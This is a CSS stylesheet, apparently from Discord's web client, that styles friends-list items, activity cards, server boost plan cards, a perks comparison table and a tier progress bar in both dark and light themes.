.theme-dark .multipleIconWrapper-DfGWrz { background-color: rgb(47, 49, 54); }

.theme-dark .separator-XqIyoz { background-color: rgb(41, 43, 47); }

.theme-dark .voiceSectionNoGuildImageWrapper-TicZR3 { background: rgb(32, 34, 37); color: rgb(255, 255, 255); }

.theme-dark .voiceSectionIconWrapper-FO7UEY { background-color: rgb(24, 25, 28); }

.theme-dark .voiceSectionIcon-1b3cOo, .theme-dark .xboxSectionIcon-1Y8MqF { color: rgb(185, 187, 190); }

.theme-dark .applicationStreamingPreviewWrapper-8QqvVY { background-color: rgb(41, 43, 47); }

.theme-light .voiceSectionNoGuildImageWrapper-TicZR3 { background: rgb(144, 153, 164); color: rgb(255, 255, 255); }

.theme-light .multipleIconWrapper-DfGWrz, .theme-light .separator-XqIyoz { background-color: hsl(210,calc(var(--saturation-factor, 1)*11.1%),92.9%); }

.theme-light .voiceSectionIconWrapper-FO7UEY { background: hsl(210,calc(var(--saturation-factor, 1)*9.8%),80%); }

.theme-light .voiceSectionIcon-1b3cOo { color: hsl(215,calc(var(--saturation-factor, 1)*9.7%),34.3%); }

.theme-light .xboxSectionIcon-1Y8MqF { color: rgb(185, 187, 190); }

.theme-light .applicationStreamingPreviewWrapper-8QqvVY { background-color: rgb(248, 249, 249); }

.embeddedActivityTopRow-3pz5Fb { display: flex; -webkit-box-align: center; align-items: center; margin-bottom: 8px; }

.embeddedActivityName-2GlRVr { -webkit-box-flex: 1; flex: 1 1 0%; margin-left: 4px; }

.embeddedActivityTimeElapsed-2SjCfK { -webkit-box-flex: 0; flex: 0 0 auto; }

.embeddedActivityPlayerContainer-3oxNDx { width: 100%; height: 100%; background: rgb(0, 0, 0); border-radius: 12px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; }

.embeddedActivityImage-2gE1qO { width: 100%; height: auto; max-height: 100%; object-fit: cover; border-radius: 12px; }

.embeddedActivityImageOverlay-23yezY { background: rgba(0, 0, 0, 0.6); width: 100%; height: 100%; position: absolute; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.embeddedActivityJoinWrapper-rLyLgV { margin-top: 8px; }

.wrapper-3m_mRm { -webkit-box-pack: end; justify-content: flex-end; -webkit-box-align: center; align-items: center; }

.partyMembers-id_l4H, .wrapper-3m_mRm { display: flex; height: 24px; }

.partyMember-1CzxeX { width: 24px; height: 24px; display: inline-block; margin-left: -2px; -webkit-mask: url("https://discord.com/assets/bdbb8326fbb4834998152887ddbdb0c8.svg") 0% 0% / 100%; mask: url("https://discord.com/assets/bdbb8326fbb4834998152887ddbdb0c8.svg"); mask-type: luminance; }

.partyMemberKnown-3Ee9hc { cursor: pointer; }

.partyMember-1CzxeX:first-child { margin-left: 0px; }

.partyMember-1CzxeX:last-child { -webkit-mask: none; mask: none; }

.partyMemberEmpty-ra2xl3, .partyMemberUnknown-fwK2DC { }

.partyMemberUnknown-fwK2DC { width: 24px; height: 24px; border-radius: 50%; display: inline-flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.partyMemberUnknownIcon-1eDbV6 { width: 16px; height: 16px; border-radius: 50%; }

.partyMemberOverflow-lXnzvu { height: 24px; min-width: 24px; padding: 0px 4px; margin-left: -2px; font-weight: 600; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; border-radius: 12px; color: var(--header-secondary); background-color: var(--background-secondary); }

.theme-dark .partyMemberBackground-3XOgDv, .theme-dark .partyMemberUnknown-fwK2DC { background-color: rgb(79, 84, 92); }

.theme-dark .partyMemberUnknownIcon-1eDbV6 { color: rgb(114, 118, 125); }

.theme-light .partyMemberBackground-3XOgDv, .theme-light .partyMemberUnknown-fwK2DC { background-color: rgb(235, 237, 239); }

.theme-light .partyMemberUnknownIcon-1eDbV6 { color: rgb(199, 204, 209); }

.memberItem-3VdCg9 { display: flex; -webkit-box-align: center; align-items: center; padding: 6px 8px; min-height: 24px; }

.avatar-2Gkk10 { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; }

.avatar-2Gkk10, .unknown-1xMjV9 { width: 24px; height: 24px; }

.unknown-1xMjV9 { background-size: 24px 24px; }

.theme-dark .unknown-1xMjV9 { background-image: url("https://discord.com/assets/81673077ca178aa1173cfdca182420d8.svg"); }

.theme-light .unknown-1xMjV9 { background-image: url("https://discord.com/assets/0e42ea80ec097e94d0ea07a548d71419.svg"); }

.itemCard-v9viV7 { margin-top: 8px; border-radius: 8px; }

.itemCard-v9viV7:first-of-type { margin-top: 0px; }

.homepagePadding-hWnsD8 { padding-left: 16px; padding-top: 16px; font-weight: 700; }

.emptyCard-1RJw8n { background: var(--background-primary); display: flex; -webkit-box-align: center; align-items: center; text-align: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 8px; padding: 16px; }

.emptyHeader-3lmLcs { margin-bottom: 4px; }

.emptyText-2zjpZr { color: var(--interactive-normal); }

.popout-38lTFE { width: 200px; height: auto; border-radius: 8px; padding: 8px 16px; }

.theme-light .popout-38lTFE { background-color: rgb(255, 255, 255); border: 1px solid rgb(227, 229, 232); box-shadow: rgb(227, 229, 232) 0px 0px 0px 0px inset, rgba(0, 0, 0, 0.16) 0px 8px 16px; }

.theme-dark .popout-38lTFE { background-color: rgb(24, 25, 28); box-shadow: rgba(0, 0, 0, 0.24) 0px 8px 16px; }

.scroller-2ZPeAD { padding: 16px; height: 100%; border-left: 1px solid var(--background-modifier-accent); margin-left: 2px; }

.container-lRFx4q { background-color: var(--background-primary); height: 100%; }

.header-2SF4Nh { font-family: var(--font-display); margin: 8px 0px 16px; font-weight: 700; }

.addFriendInputWrapper-3PjsbB { -webkit-box-align: center; align-items: center; background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); border-radius: 8px; display: flex; margin-top: 16px; padding: 0px 16px; position: relative; }

.addFriendInputWrapper-3PjsbB:focus-within { border-color: var(--text-link); }

.addFriendInputWrapper-3PjsbB.error-3s3EXG { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.addFriendInputWrapper-3PjsbB.success-2Zis8u { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.inputText-2aYEpx { font-size: 16px; font-weight: 500; letter-spacing: 0.04em; line-height: 20px; white-space: pre; }

.addFriendInput-4bcerK { background-color: transparent; border: none; box-sizing: border-box; color: var(--text-normal); -webkit-box-flex: 1; flex: 1 1 auto; margin-right: 16px; padding: 16px 0px; z-index: 1; }

.addFriendInput-4bcerK::-webkit-input-placeholder { user-select: none; color: var(--text-muted); }

.addFriendInput-4bcerK::placeholder { user-select: none; color: var(--text-muted); }

.addFriendHint-3Y70FX { box-sizing: border-box; color: var(--interactive-muted); cursor: text; left: 16px; padding: 16px 0px; pointer-events: none; position: absolute; }

.ring-1u5L9a { border-radius: 8px; }

.friendsEmpty-1K9B4k { position: absolute; inset: 0px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.header-1-dBpZ { flex-shrink: 0; border-bottom: 1px solid var(--background-modifier-accent); padding: 20px 30px; }

.emptyState-2i1-FW { -webkit-box-flex: 1; flex: 1 1 auto; position: relative; }

.actionButton-uPB8Fs { cursor: pointer; width: 36px; height: 36px; border-radius: 50%; color: var(--interactive-normal); background-color: var(--background-secondary); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; margin-left: 10px; }

.actionButton-uPB8Fs.highlight-Lf97TE { background-color: var(--background-tertiary); }

.actionButton-uPB8Fs:first-child { margin-left: 0px; }

.actionButton-uPB8Fs:hover { color: var(--interactive-hover); }

.actionButton-uPB8Fs:active { background-color: var(--background-modifier-active); color: var(--interactive-active); }

.actionButton-uPB8Fs.disabled-CPGw4b { opacity: 0.3; pointer-events: none; }

.actionButton-uPB8Fs.actionAccept-LV-szU:hover { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) !important; }

.actionButton-uPB8Fs.actionDeny-de_uKj:hover { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) !important; }

.icon-35-fSh { width: 20px; height: 20px; }

.peopleListItem-2nzedh { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; margin-left: 30px; margin-right: 20px; font-weight: 500; font-size: 16px; line-height: 20px; overflow: hidden; box-sizing: border-box; cursor: pointer; border-top: 1px solid var(--background-modifier-accent); }

.peopleListItem-2nzedh.active-rhSpJJ + .peopleListItem-2nzedh, .peopleListItem-2nzedh:hover + .peopleListItem-2nzedh { border-color: transparent; }

.peopleListItem-2nzedh.active-rhSpJJ, .peopleListItem-2nzedh:hover { background: var(--background-modifier-hover); box-shadow: none; border-radius: 8px; border-color: transparent; margin: 0px 10px 0px 20px; padding: 16px 10px; }

.userInfo-2zN2z8 { display: flex; overflow: hidden; }

.avatar-3W3CeO { margin: 0px 12px 0px 0px; flex-shrink: 0; }

.text-37NqbO { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; overflow: hidden; }

.subtext-24R4-w { color: var(--header-secondary); font-size: 12px; }

.discordTag-2_tqUA { overflow: hidden; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-align: end; align-items: flex-end; }

.botTag-1SP2jA, .discordTag-2_tqUA { display: flex; }

.username-31C1TQ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--header-primary); font-weight: 600; }

.discriminator-22Okc1 { font-size: 14px; line-height: 16px; visibility: hidden; color: var(--header-secondary); }

.hovered-15FzL3 .discriminator-22Okc1 { visibility: visible; }

.listItemContents-BUaJR_ { display: flex; -webkit-box-flex: 0; flex: 0 1 100%; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.activity-2myFBH { display: flex; -webkit-box-align: center; align-items: center; }

.text-3MU_QQ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-size: 14px; }

.customStatusEmoji-1o3-7b { margin-right: 4px; width: 16px; height: 16px; }

.listItemContents-95HL3L { -webkit-box-flex: 1; flex-grow: 1; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; max-width: 100%; }

.actions-1SQwjn, .listItemContents-95HL3L { display: flex; }

.actions-1SQwjn { margin-left: 8px; }

.listItemContents-2w6nwE { display: flex; -webkit-box-flex: 0; flex: 0 1 100%; -webkit-box-align: center; align-items: center; }

.userInfo-3bsjnc { -webkit-box-flex: 0; flex: 0 0 260px; }

.tableHeader-2HiNhG { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; border-bottom: 1px solid var(--background-secondary); padding: 16px 30px 8px; -webkit-box-align: center; align-items: center; flex-shrink: 0; }

.tableHeaderText-lC53gO { color: var(--header-secondary); }

.mutualGuilds-2fYAPr { display: flex; margin-left: 13px; width: 200px; }

@media (max-width: 1040px) {
  .mutualGuilds-2fYAPr { display: none; }
}

.mutualGuilds-2fYAPr a + a { margin-left: 6px; }

.moreMutualGuildsBtn-2jTflt { width: 30px; height: 30px; border-radius: 50%; flex-shrink: 0; box-sizing: border-box; color: var(--header-secondary); -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; margin-left: 6px; font-size: 11px; font-weight: 700; cursor: pointer; }

.actions-FAbeWr, .moreMutualGuildsBtn-2jTflt { display: flex; }

.actions-FAbeWr { margin-left: auto; }

.theme-dark .moreMutualGuildsBtn-2jTflt:hover { color: rgb(255, 255, 255); border-color: rgba(255, 255, 255, 0.6); }

.theme-light .moreMutualGuildsBtn-2jTflt:hover { color: rgb(0, 0, 0); border-color: rgba(0, 0, 0, 0.6); }

.title-30qZAO { margin: 16px 20px 8px 30px; color: var(--header-secondary); }

.emptyStateContainer-2HsLQm { position: relative; width: 100%; height: 100%; }

.peopleList-3c4jOR { padding-bottom: 8px; margin-top: 8px; }

.listItemContents-c1u03m { -webkit-box-flex: 0; flex: 0 1 100%; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.actions-3oiRcb, .listItemContents-c1u03m { display: flex; }

.actions-3oiRcb { margin-left: auto; }

.container-1D34oG { width: 100%; overflow: hidden; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-1D34oG, .inviteToolbar-3F-l2g { display: flex; }

@media (max-width: 940px) {
  .inviteToolbar-3F-l2g { display: none; }
}

.peopleColumn-29fq28 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; }

.nowPlayingColumn-2sl4cE { -webkit-box-flex: 0; flex: 0 1 30%; min-width: 360px; max-width: 420px; background: var(--background-secondary); }

.nowPlayingScroller-2XrVUt { padding: 16px; max-height: 100%; }

.consentCard-1iSxB_ { margin-bottom: 16px; }

.tabBar-ZmDY9v .badge-1Skb69 { margin-left: 8px; }

.tabBar-ZmDY9v .item-3HknzM { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; text-align: center; min-width: 40px; -webkit-app-region: no-drag; }

.tabBar-ZmDY9v .item-3HknzM, .tabBody-3YRQ8W { display: flex; }

.tabBody-3YRQ8W { height: 100%; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; position: relative; overflow: hidden; transform: translateZ(0px); }

.tabBody-3YRQ8W::before { content: ""; position: absolute; display: block; top: -1px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

@media (max-width: 1200px) {
  .nowPlayingColumn-2sl4cE { display: none; }
}

.theme-dark .container-1D34oG { background-color: rgb(54, 57, 63); }

.theme-light .container-1D34oG { background-color: rgb(255, 255, 255); }

.h2-1T01_t { font-size: 34px; font-weight: 700; line-height: 1; text-align: center; }

.wrapper-3qSb0d { background-color: var(--background-primary); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; width: 100%; }

.navigationBar-2JJXBp { -webkit-box-flex: 0; flex: 0 0 auto; padding: 12px; }

.navigationBarButton-1asMy0 { height: 24px; min-height: 24px; padding: 4px 8px; }

.navigationBarButtonContent-1MUKa4 { -webkit-box-align: center; align-items: center; display: flex; }

.scrollerWrapper-3SotqN { -webkit-box-flex: 1; flex: 1 1 auto; padding: 32px; }

.hero-209Qgc { background-image: url("https://discord.com/assets/3e800c511f50e34f861cd03dc5610807.svg"); background-color: rgb(88, 105, 234); background-position: 50% center; background-size: cover; border-radius: 8px; box-sizing: border-box; margin: 0px auto; max-width: 100%; padding: 46px 16px; width: 1400px; }

.simplifiedVariant-oys_Qe .hero-209Qgc { padding-top: 23px; padding-bottom: 23px; }

.guildIcon-2n43kb { -webkit-box-align: center; align-items: center; height: 80px; width: 80px; margin: 0px auto 8px; color: var(--interactive-active); line-height: 80px !important; }

.guildInfoWrapper-3k4tAY { background-color: var(--background-secondary); border-radius: 100px; padding: 4px 6px 4px 4px; margin: 0px auto 16px; width: fit-content; height: 16px; display: flex; }

.tierIconWrapper-PnMMsJ { margin-right: 4px; }

.guildInfo-1lwBoW { font-weight: 700; text-transform: uppercase; }

.heroImageWrapper-YyJ_kJ { -webkit-box-align: center; align-items: center; background: rgb(255, 255, 255); border-radius: 100%; box-shadow: var(--elevation-high); display: flex; height: 80px; -webkit-box-pack: center; justify-content: center; margin: 0px auto 32px; width: 80px; }

.heroImage-3UKWkj { display: block; }

.heroContent-l-heUD { margin: 0px auto; max-width: 750px; text-align: center; width: 100%; }

.heroHeading-1Qz-ix, .heroSubheading-3cS444 { color: rgb(255, 255, 255); }

.heroHeading-1Qz-ix { font-size: 34px; font-family: var(--font-display); font-weight: 700; line-height: 1; margin-bottom: 8px; }

.heroCta-3arPTr { margin: 16px auto 0px; transition: box-shadow 0.125s ease 0s, -webkit-box-shadow 0.125s ease 0s; }

.heroCta-3arPTr:hover { box-shadow: var(--elevation-stroke),var(--elevation-high); }

.heroCta-3arPTr:active { box-shadow: var(--elevation-stroke),var(--elevation-medium); }

.heroCtaContent-1AtnnS { -webkit-box-align: center; align-items: center; color: var(--brand-experiment); display: flex; font-weight: 600; }

.heroCtaIcon--laekM { -webkit-box-flex: 0; flex: 0 0 auto; height: 16px; margin-right: 4px; width: 16px; }

.contentWrapper-1_c8YU { box-sizing: border-box; margin: 0px auto; max-width: 1024px; padding: 32px 0px; width: 100%; }

.choosePlanHeader-1PCM0Z { margin-bottom: 24px; }

.planCards-2BnOtr { display: grid; gap: 16px; grid-template-columns: repeat(auto-fit, minmax(100px, 1fr)); margin-bottom: 16px; padding-top: 32px; }

.simplifiedVariant-oys_Qe .planCards-2BnOtr { margin-bottom: 32px; }

.planCard-rYl0vk { background-color: var(--background-secondary-alt); border-radius: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 0px 16px 24px; transition: box-shadow 0.125s ease-in-out 0s, transform 0.125s ease-in-out 0s, -webkit-box-shadow 0.125s ease-in-out 0s, -webkit-transform 0.125s ease-in-out 0s; }

.full-motion .planCard-rYl0vk:hover { box-shadow: var(--elevation-high); transform: translateY(-16px); }

.full-motion .planCard-rYl0vk:hover::after { content: ""; height: 16px; position: absolute; top: 100%; width: 100%; }

.planCardImage-12Atlc { display: block; height: auto; margin: -32px auto 24px; max-width: 275px; width: 100%; }

.planCardSubscriptionCount-1JhZzg { font-size: 17px; margin-bottom: 8px; }

.planCardHeading-3QYDtN, .planCardSubscriptionCount-1JhZzg { font-family: var(--font-display); font-weight: 600; line-height: 1; }

.planCardHeading-3QYDtN { font-size: 25px; margin-bottom: 6px; }

.planCardSubheading-1Qkwum { margin-bottom: 24px; }

.planCardPerk-6gbNCM { padding-left: 24px; position: relative; }

.planCardPerk-6gbNCM + .planCardPerk-6gbNCM { margin-top: 12px; }

.planCardPerkCheckmarkWrapper-1v1GJ3 { isolation: isolate; position: absolute; left: 2px; top: 3px; }

.planCardPerkCheckmarkWrapper-1v1GJ3::after { background-color: rgb(255, 255, 255); border-radius: 100%; inset: 2px; content: ""; position: absolute; z-index: 0; }

.planCardCheckmarkTier1-Kj3Tkp { color: var(--brand-experiment); }

.planCardCheckmarkTier2-1Fgzac { color: rgb(235, 69, 158); }

.planCardCheckmarkTier3-2jOp9w { color: rgb(88, 242, 135); }

.planCardCheckmarkTier3-2jOp9w::after { background-color: transparent; }

.planCardPerkCheckmark-I_HMxj { display: block; height: 14px; position: relative; width: 14px; z-index: 1; }

.planCardContentPrimary-2d2E41 { -webkit-box-flex: 1; flex: 1 1 auto; }

.planCardContentSecondary-1p88sS { -webkit-box-flex: 0; flex: 0 0 auto; margin-top: 24px; }

.planCardCta-943BMf { margin-bottom: 12px; }

.planCardCtaInfo-2S-HKK { text-align: center; }

.singleSubscriptionCta-3Iv7jc { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: center; justify-content: center; margin-bottom: 56px; text-align: center; }

.singleSubscriptionCtaImage-1CCQOZ { display: block; -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 10px; }

.singleSubscriptionCtaCopy-2BlnpI { display: inline; -webkit-box-flex: 0; flex: 0 1 auto; font-size: 20px; font-family: var(--font-display); line-height: 1; }

.singleSubscriptionCtaAction-2p7F5F { cursor: pointer; display: inline; font-weight: 700; text-decoration: underline; }

.errorWrapper-NBaEBK { width: 100%; margin: 32px auto; max-width: 600px; }

.errorHeading-3A7mAD { margin-bottom: 16px; }

.errorSubheading-2QbxbT { margin-bottom: 24px; text-align: center; }

.theme-dark .navigationBar-2JJXBp { background-color: var(--background-floating); }

.theme-light .navigationBar-2JJXBp { background-color: hsl(235,calc(var(--saturation-factor, 1)*46.7%),44.1%); }

@media (max-width: 1024px) {
  .hero-209Qgc { background-image: url("https://discord.com/assets/0adddd3c154b39f7b048db48e2527431.svg"); }
}

.perksTable-7Z6tK2 { background-color: var(--background-secondary-alt); border-radius: 8px; width: 100%; }

.perksTableHeader-I41-EY { margin-bottom: 32px; }

.perksTableHeaderVariantSimplified-1s5iJk { margin-bottom: 52px; }

.perksTableRow-7kHR8w { -webkit-box-align: center; align-items: center; display: flex; outline: none; }

.perksTableRow-7kHR8w:last-child { border-radius: 0px 0px 8px 8px; }

.perksTableRow-7kHR8w:last-child .perksTableRowPerkHighlighted-3bmp8T::after { background-color: var(--background-tertiary); border-radius: 0px 0px 8px 8px; content: ""; height: 12px; left: 0px; position: absolute; top: 100%; width: 100%; }

.perksTableRowHeading-2Kp5Vy .perksTableRowLabel-3Q5QcL, .perksTableRowPerkHeading-3xHSZ5 { font-weight: 600; }

.perksTableRowPerkHeading-3xHSZ5 .perksTablePerkCopy-1NYJLR { font-size: 16px; }

.perksTableRow-7kHR8w + .perksTableRow-7kHR8w .perksTableCell-3oXg4e { border-top: 1px solid var(--background-modifier-accent); }

.theme-light .perksTableRow-7kHR8w + .perksTableRowBody-3adE9w:hover, .theme-light .perksTableRow-7kHR8w + .perksTableRowFocused-37qPHa { background-color: var(--background-tertiary); }

.theme-light .perksTableRow-7kHR8w + .perksTableRowBody-3adE9w:hover .perksTableCell-3oXg4e, .theme-light .perksTableRow-7kHR8w + .perksTableRowFocused-37qPHa .perksTableCell-3oXg4e { border-top: 1px solid var(--background-tertiary); }

.theme-light .perksTableRowBody-3adE9w:hover + .perksTableRowBody-3adE9w .perksTableCell-3oXg4e, .theme-light .perksTableRowFocused-37qPHa + .perksTableRowBody-3adE9w .perksTableCell-3oXg4e { border-color: var(--background-tertiary); }

.theme-light .perksTableRow-7kHR8w + .perksTableRowBody-3adE9w:hover .perksTableRowPerkHighlighted-3bmp8T, .theme-light .perksTableRow-7kHR8w + .perksTableRowFocused-37qPHa .perksTableRowPerkHighlighted-3bmp8T { background-color: var(--background-tertiary); border-color: var(--background-tertiary); }

.theme-light .perksTableRowBody-3adE9w:hover + .perksTableRowBody-3adE9w .perksTableRowPerkHighlighted-3bmp8T, .theme-light .perksTableRowFocused-37qPHa + .perksTableRowBody-3adE9w .perksTableRowPerkHighlighted-3bmp8T { border-color: var(--background-tertiary); }

.theme-dark .perksTableRow-7kHR8w + .perksTableRowBody-3adE9w:hover, .theme-dark .perksTableRow-7kHR8w + .perksTableRowFocused-37qPHa { background-color: var(--background-floating); }

.theme-dark .perksTableRow-7kHR8w + .perksTableRowBody-3adE9w:hover .perksTableCell-3oXg4e, .theme-dark .perksTableRow-7kHR8w + .perksTableRowFocused-37qPHa .perksTableCell-3oXg4e { border-top: 1px solid var(--background-floating); }

.theme-dark .perksTableRowBody-3adE9w:hover + .perksTableRowBody-3adE9w .perksTableCell-3oXg4e, .theme-dark .perksTableRowFocused-37qPHa + .perksTableRowBody-3adE9w .perksTableCell-3oXg4e { border-color: var(--background-floating); }

.theme-dark .perksTableRow-7kHR8w + .perksTableRowBody-3adE9w:hover .perksTableRowPerkHighlighted-3bmp8T, .theme-dark .perksTableRow-7kHR8w + .perksTableRowFocused-37qPHa .perksTableRowPerkHighlighted-3bmp8T { background-color: var(--background-floating); border-color: var(--background-floating); }

.theme-dark .perksTableRowBody-3adE9w:hover + .perksTableRowBody-3adE9w .perksTableRowPerkHighlighted-3bmp8T, .theme-dark .perksTableRowFocused-37qPHa + .perksTableRowBody-3adE9w .perksTableRowPerkHighlighted-3bmp8T { border-color: var(--background-floating); }

.perksTableRowLabel-3Q5QcL, .perksTableRowPerk-1rZnxa { -webkit-box-align: center; align-items: center; align-self: stretch; display: flex; position: relative; }

.perksTableRowLabel-3Q5QcL { -webkit-box-flex: 1; flex: 1 1 auto; padding-top: 16px; padding-bottom: 16px; padding-left: 24px; text-align: left; }

.perksTableRowHeading-2Kp5Vy .perksTableRowLabel-3Q5QcL { padding-top: 12px; padding-bottom: 12px; }

.perksTableRowLabelCopy-1IoDOe { display: inline-block; font-size: 20px; line-height: 1; }

.perksTableRowHeading-2Kp5Vy .perksTableRowLabelCopy-1IoDOe { font-size: 16px; }

.perksTableRowPerk-1rZnxa { -webkit-box-flex: 0; flex: 0 0 auto; -webkit-box-pack: center; justify-content: center; text-align: center; width: 110px; }

.perksTableRowPerk-1rZnxa:last-child { padding-right: 8px; }

.perksTableRowPerkHighlighted-3bmp8T { background-color: var(--background-tertiary); width: 150px; }

.perksTablePerkCheckmark-2i5KJO { height: 24px; width: 24px; }

.perksTablePerkCheckmarkTier0-eK6gBQ { color: var(--interactive-muted); }

.perksTablePerkCheckmarkTier1-3NNuaR { color: hsl(235,calc(var(--saturation-factor, 1)*86.1%),71.8%); }

.perksTablePerkCheckmarkTier2-3c878T { color: rgb(235, 69, 158); }

.perksTablePerkCheckmarkTier3-175hkq { color: rgb(88, 242, 135); }

.perksTableHoverTipWrapper-1E2B6O { -webkit-box-align: center; align-items: center; display: flex; }

.perksTableHoverTip-mVHeeJ { background-color: var(--brand-experiment); border-radius: 8px; color: rgb(255, 255, 255); margin-left: 8px; padding: 0px 12px; }

.perksTableHoverTipCopy-3XWMz0 { margin-right: 8px; }

.perksTableHoverTipTooltip-3MsiZi { max-width: 220px; }

.perkPopout-1e9U4Y { background-color: var(--background-floating); border-radius: 8px; box-shadow: var(--elevation-high); margin-top: -24px; overflow: hidden; width: 280px; }

.perkPopoutImage-1mWljp { display: block; object-fit: cover; width: 100%; }

.perkPopoutAnimation-2homYn { height: 168px; width: 100%; }

.perkPopoutDescription-1eI6Za { padding: 16px; }

.perksTableHighlightedColumnHeader-CkjCDK { background-color: var(--background-tertiary); border-radius: 8px 8px 0px 0px; bottom: 100%; box-sizing: border-box; left: 0px; padding: 12px 12px 2px; position: absolute; width: 100%; }

.perksTableHighlightedColumnHeaderCopy-vcrleo { background-image: linear-gradient(11deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 20px; color: rgb(255, 255, 255); line-height: 1; padding: 2px; text-transform: uppercase; }

@media (max-width: 1024px) {
  .perksTableRowLabelCopy-1IoDOe { font-size: 18px; }
  .perksTableRowHeading-2Kp5Vy .perksTableRowLabelCopy-1IoDOe, .perksTableRowPerkHeading-3xHSZ5 .perksTablePerkCopy-1NYJLR { font-size: 14px; }
}

@media (max-width: 840px) {
  .perksTableRowLabelCopy-1IoDOe { font-size: 16px; font-weight: 500; }
}

.progressBar-2mfdxx { height: 42px; isolation: isolate; margin-bottom: 32px; position: relative; }

.progressBarSimplifiedVariant-2EIg8_ { height: 54px; }

.progressBarTrack-3y6rh7 { background-color: var(--background-tertiary); border-radius: 2px; height: 2px; position: absolute; top: 9px; width: 100%; z-index: 0; }

.progressBarSimplifiedVariant-2EIg8_ .progressBarTrack-3y6rh7 { border-radius: 4px; height: 4px; top: 15px; }

.progressBarFill-T4kMVn { background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); background-color: transparent; z-index: 1; }

.progressBarCurrentProgressTooltip-3mJLZX { margin-top: 100px; }

.progressBarCurrentProgressTooltipMarker-3As8_A { border-radius: 100%; height: 44px; position: absolute; top: 10px; transform: translate(-50%, -50%); width: 44px; z-index: 3; }

.progressBarSimplifiedVariant-2EIg8_ .progressBarCurrentProgressTooltipMarker-3As8_A { top: 15px; height: 50px; width: 50px; }

.progressBarCurrentProgressTooltipMarkerInteractionIndicator-2WC6Kk { cursor: pointer; height: 100%; width: 100%; }

.progressBarCurrentProgressTooltipHeading-2ONuU2 { font-weight: 600; margin-bottom: 2px; }

.progressBarCurrentProgressTooltipSubheading-1HL11U { display: flex; -webkit-box-align: center; align-items: center; }

.progressBarCurrentProgressTooltipSubheadingIcon-2lvGt6 { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); -webkit-box-flex: 0; flex: 0 0 auto; height: 16px; margin-left: -2px; margin-right: 4px; width: 16px; }

.progressBarCurrentProgressTooltipSubheadingCopy-Pf9YJi { -webkit-box-flex: 1; flex: 1 1 auto; }

.progressBarCompleteInteractionAnimationWrapper-364Wn6 { -webkit-box-align: center; align-items: center; display: flex; height: 100%; -webkit-box-pack: center; justify-content: center; width: 100%; }

.progressBarCompleteImage-3EyF7I { display: block; height: 24px; width: 24px; }

.progressBarMarker-1PPOYV { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary-alt); border-radius: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 20px; isolation: isolate; -webkit-box-pack: center; justify-content: center; position: absolute; transform: translateX(-50%); width: 20px; z-index: 2; }

.progressBarSimplifiedVariant-2EIg8_ .progressBarMarker-1PPOYV { height: 32px; width: 32px; }

.progressBarMarkerNextTier-EG5a7t .progressBarMarkerIndicator-15WiF7, .progressBarMarkerUnlocked-3IgZ-5 .progressBarMarkerIndicator-15WiF7 { background-image: linear-gradient(45deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 100%; content: ""; height: 22px; left: -1px; position: absolute; top: -1px; width: 22px; z-index: 0; }

.progressBarSimplifiedVariant-2EIg8_ .progressBarMarkerNextTier-EG5a7t .progressBarMarkerIndicator-15WiF7, .progressBarSimplifiedVariant-2EIg8_ .progressBarMarkerUnlocked-3IgZ-5 .progressBarMarkerIndicator-15WiF7 { height: 32px; width: 32px; left: 0px; top: 0px; }

.progressBarMarkerUnlocked-3IgZ-5 .progressBarMarkerNumSubscriptionsRequired-3wj3cy { color: rgb(255, 255, 255); }

